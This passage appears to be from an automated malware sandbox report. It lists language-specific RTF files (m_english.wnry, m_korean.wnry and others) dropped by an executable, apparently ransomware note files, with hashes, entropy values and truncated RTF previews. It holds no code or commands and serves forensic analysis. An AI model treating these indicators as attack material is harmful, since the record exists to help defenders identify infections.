                                                                                                                        SHA-512:490C5A892FAC801B853C348477B1140755D4C53CA05726AC19D3649AF4285C93523393A3667E209C71C80AC06FFD809F62DD69AE65012DCB00445D032F1277B3
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                        C:\Users\user\Desktop\msg\m_dutch.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):36987
                                                                                                                        Entropy (8bit):5.036160205965849
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:Sw3BHSj2cLeT+sPzy3EFHjHdp2oG2/CzhReo75Y3kmA31dv61Qyz:Sw3BHSWjHdBG2/UhsZrS14f
                                                                                                                        MD5:7A8D499407C6A647C03C4471A67EAAD7
                                                                                                                        SHA1:D573B6AC8E7E04A05CBBD6B7F6A9842F371D343B
                                                                                                                        SHA-256:2C95BEF914DA6C50D7BDEDEC601E589FBB4FDA24C4863A7260F4F72BD025799C
                                                                                                                        SHA-512:608EF3FF0A517FE1E70FF41AEB277821565C5A9BEE5103AA5E45C68D4763FCE507C2A34D810F4CD242D163181F8341D9A69E93FE32ADED6FBC7F544C55743F12
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}{\f54\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}@\'b1\'bc\'b8\'b2\'c3\'bc;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}

                                                                                                                        C:\Users\user\Desktop\msg\m_english.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):36973
                                                                                                                        Entropy (8bit):5.040611616416892
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:S93BHSj2cguALeT+sPzy3EFHjHdM2EG2YLC7O3eo75Y3kmA31dv61QyW:S93BHSTjHd0G2YLCZrS14y
                                                                                                                        MD5:FE68C2DC0D2419B38F44D83F2FCF232E
                                                                                                                        SHA1:6C6E49949957215AA2F3DFB72207D249ADF36283
                                                                                                                        SHA-256:26FD072FDA6E12F8C2D3292086EF0390785EFA2C556E2A88BD4673102AF703E5
                                                                                                                        SHA-512:941FA0A1F6A5756ED54260994DB6158A7EBEB9E18B5C8CA2F6530C579BC4455918DF0B38C609F501CA466B3CC067B40E4B861AD6513373B483B36338AE20A810
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\*\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}{\f54\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}@\'b1\'bc\'b8\'b2\'c3\'bc;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\fhim

                                                                                                                        C:\Users\user\Desktop\msg\m_filipino.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):37580
                                                                                                                        Entropy (8bit):5.0458193216786
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:Sw3BHSj2cLeT+sPzy3EFHjHdi2MG2AGsi6p07i/eo75Y3kmA31dv61QyR:Sw3BHSWjHdGG2Axa7iGZrS14N
                                                                                                                        MD5:08B9E69B57E4C9B966664F8E1C27AB09
                                                                                                                        SHA1:2DA1025BBBFB3CD308070765FC0893A48E5A85FA
                                                                                                                        SHA-256:D8489F8C16318E524B45DE8B35D7E2C3CD8ED4821C136F12F5EF3C9FC3321324
                                                                                                                        SHA-512:966B5ED68BE6B5CCD46E0DE1FA868CFE5432D9BF82E1E2F6EB99B2AEF3C92F88D96F4F4EEC5E16381B9C6DB80A68071E7124CA1474D664BDD77E1817EC600CB4
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}{\f54\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}@\'b1\'bc\'b8\'b2\'c3\'bc;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}

                                                                                                                        C:\Users\user\Desktop\msg\m_finnish.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):38377
                                                                                                                        Entropy (8bit):5.030938473355282
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:SheftipUENLFsPzy3EFHjHdg2oG2l1glOmeo75Y3kmA31dv61QyB:Shef3jHdMG2l1AO3ZrS14l
                                                                                                                        MD5:35C2F97EEA8819B1CAEBD23FEE732D8F
                                                                                                                        SHA1:E354D1CC43D6A39D9732ADEA5D3B0F57284255D2
                                                                                                                        SHA-256:1ADFEE058B98206CB4FBE1A46D3ED62A11E1DEE2C7FF521C1EEF7C706E6A700E
                                                                                                                        SHA-512:908149A6F5238FCCCD86F7C374986D486590A0991EF5243F0CD9E63CC8E208158A9A812665233B09C3A478233D30F21E3D355B94F36B83644795556F147345BF
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                        C:\Users\user\Desktop\msg\m_french.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):38437
                                                                                                                        Entropy (8bit):5.031126676607223
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:SheftipUENLFsPzy3EFHjHdtW2IG2sjqMeo75Y3kmA31dv61Qyg:Shef3jHd0G2smJZrS14M
                                                                                                                        MD5:4E57113A6BF6B88FDD32782A4A381274
                                                                                                                        SHA1:0FCCBC91F0F94453D91670C6794F71348711061D
                                                                                                                        SHA-256:9BD38110E6523547AED50617DDC77D0920D408FAEED2B7A21AB163FDA22177BC
                                                                                                                        SHA-512:4F1918A12269C654D44E9D394BC209EF0BC32242BE8833A2FBA437B879125177E149F56F2FB0C302330DEC328139B34982C04B3FEFB045612B6CC9F83EC85AA9
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                        C:\Users\user\Desktop\msg\m_german.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):37181
                                                                                                                        Entropy (8bit):5.039739267952546
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:SheftipUENLFsPzy3EFHjHdN26G2VSA1Ieo75Y3kmA31dv61QyU:Shef3jHdfG2oe1ZrS14w
                                                                                                                        MD5:3D59BBB5553FE03A89F817819540F469
                                                                                                                        SHA1:26781D4B06FF704800B463D0F1FCA3AFD923A9FE
                                                                                                                        SHA-256:2ADC900FAFA9938D85CE53CB793271F37AF40CF499BCC454F44975DB533F0B61
                                                                                                                        SHA-512:95719AE80589F71209BB3CB953276538040E7111B994D757B0A24283AEFE27AADBBE9EEF3F1F823CE4CABC1090946D4A2A558607AC6CAC6FACA5971529B34DAC
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                        C:\Users\user\Desktop\msg\m_greek.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):49044
                                                                                                                        Entropy (8bit):4.910095634621579
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:SheftipUENLFsPzy3EFHjHdc2oG2WWDFFG5BwKeo75Y3kmA31dv61QyM:Shef3jHdoG2NHG5BwLZrS14Q
                                                                                                                        MD5:FB4E8718FEA95BB7479727FDE80CB424
                                                                                                                        SHA1:1088C7653CBA385FE994E9AE34A6595898F20AEB
                                                                                                                        SHA-256:E13CC9B13AA5074DC45D50379ECEB17EE39A0C2531AB617D93800FE236758CA9
                                                                                                                        SHA-512:24DB377AF1569E4E2B2EBCCEC42564CEA95A30F1FF43BCAF25A692F99567E027BCEF4AACEF008EC5F64EA2EEF0C04BE88D2B30BCADABB3919B5F45A6633940CB
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                        C:\Users\user\Desktop\msg\m_indonesian.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):37196
                                                                                                                        Entropy (8bit):5.039268541932758
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:Sw3BHSj2cLeT+sPzy3EFHjHdY2oG2pq32eo75Y3kmA31dv61Qys:Sw3BHSWjHdUG2pq3nZrS14I
                                                                                                                        MD5:3788F91C694DFC48E12417CE93356B0F
                                                                                                                        SHA1:EB3B87F7F654B604DAF3484DA9E02CA6C4EA98B7
                                                                                                                        SHA-256:23E5E738AAD10FB8EF89AA0285269AFF728070080158FD3E7792FE9ED47C51F4
                                                                                                                        SHA-512:B7DD9E6DC7C2D023FF958CAF132F0544C76FAE3B2D8E49753257676CC541735807B4BEFDF483BCAE94C2DCDE3C878C783B4A89DCA0FECBC78F5BBF7C356F35CD
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}{\f54\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}@\'b1\'bc\'b8\'b2\'c3\'bc;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}

                                                                                                                        C:\Users\user\Desktop\msg\m_italian.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):36883
                                                                                                                        Entropy (8bit):5.028048191734335
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:SheftipUENLFsPzy3EFHjHdR2AG2c/EnByeo75Y3kmA31dv61Qy9:Shef3jHdJG2cQZrS14R
                                                                                                                        MD5:30A200F78498990095B36F574B6E8690
                                                                                                                        SHA1:C4B1B3C087BD12B063E98BCA464CD05F3F7B7882
                                                                                                                        SHA-256:49F2C739E7D9745C0834DC817A71BF6676CCC24A4C28DCDDF8844093AAB3DF07
                                                                                                                        SHA-512:C0DA2AAE82C397F6943A0A7B838F60EEEF8F57192C5F498F2ECF05DB824CFEB6D6CA830BF3715DA7EE400AA8362BD64DC835298F3F0085AE7A744E6E6C690511
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                        C:\Users\user\Desktop\msg\m_japanese.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):81844
                                                                                                                        Entropy (8bit):4.85025787009624
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:SXZ0j2cKKwd1lksPzy3EFHjHdI2MG275rQeo75Y3kmA31dv61Qyr:SXZ0qbjHd4G2RNZrS14P
                                                                                                                        MD5:B77E1221F7ECD0B5D696CB66CDA1609E
                                                                                                                        SHA1:51EB7A254A33D05EDF188DED653005DC82DE8A46
                                                                                                                        SHA-256:7E491E7B48D6E34F916624C1CDA9F024E86FCBEC56ACDA35E27FA99D530D017E
                                                                                                                        SHA-512:F435FD67954787E6B87460DB026759410FBD25B2F6EA758118749C113A50192446861A114358443A129BE817020B50F21D27B1EBD3D22C7BE62082E8B45223FC
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f11\fbidi \fmodern\fcharset128\fprq1{\*\panose 02020609040205080304}MS Mincho{\*\falt ?l?r ??\'81\'66c};}{\f12\fbidi \froman\fcharset129\fprq2{\*\panose 02030600000101010101}\'b9\'d9\'c5\'c1{\*\falt Batang};}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f44\fbidi \froman\fcharset129\fprq2{\*\panose 020306000001

                                                                                                                        C:\Users\user\Desktop\msg\m_korean.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):91501
                                                                                                                        Entropy (8bit):4.841830504507431
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:768:Shef3jHdUG2NQcbxfSVZiG9jvi3//ZVrMQr7pEKCHSI2DsY78piTDtTa6BxzBwdY:SheiaDq
                                                                                                                        MD5:6735CB43FE44832B061EEB3F5956B099
                                                                                                                        SHA1:D636DAF64D524F81367EA92FDAFA3726C909BEE1
                                                                                                                        SHA-256:552AA0F82F37C9601114974228D4FC54F7434FE3AE7A276EF1AE98A0F608F1D0
                                                                                                                        SHA-512:60272801909DBBA21578B22C49F6B0BA8CD0070F116476FF35B3AC8347B987790E4CC0334724244C4B13415A246E77A577230029E4561AE6F04A598C3F536C7E
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                        C:\Users\user\Desktop\msg\m_latvian.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):41169
                                                                                                                        Entropy (8bit):5.030695296195755
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:SheftipUENLFsPzy3EFHjHdcqH24G2ZN1EDCv3Apb0WD5gYV/S4L3rnzdeo75Y3f:Shef3jHdcMG2NpZrS14F
                                                                                                                        MD5:C33AFB4ECC04EE1BCC6975BEA49ABE40
                                                                                                                        SHA1:FBEA4F170507CDE02B839527EF50B7EC74B4821F
                                                                                                                        SHA-256:A0356696877F2D94D645AE2DF6CE6B370BD5C0D6DB3D36DEF44E714525DE0536
                                                                                                                        SHA-512:0D435F0836F61A5FF55B78C02FA47B191E5807A79D8A6E991F3115743DF2141B3DB42BA8BDAD9AD259E12F5800828E9E72D7C94A6A5259312A447D669B03EC44
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                        C:\Users\user\Desktop\msg\m_norwegian.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):37577
                                                                                                                        Entropy (8bit):5.025836823617116
                                                                                                                        Encrypted:false
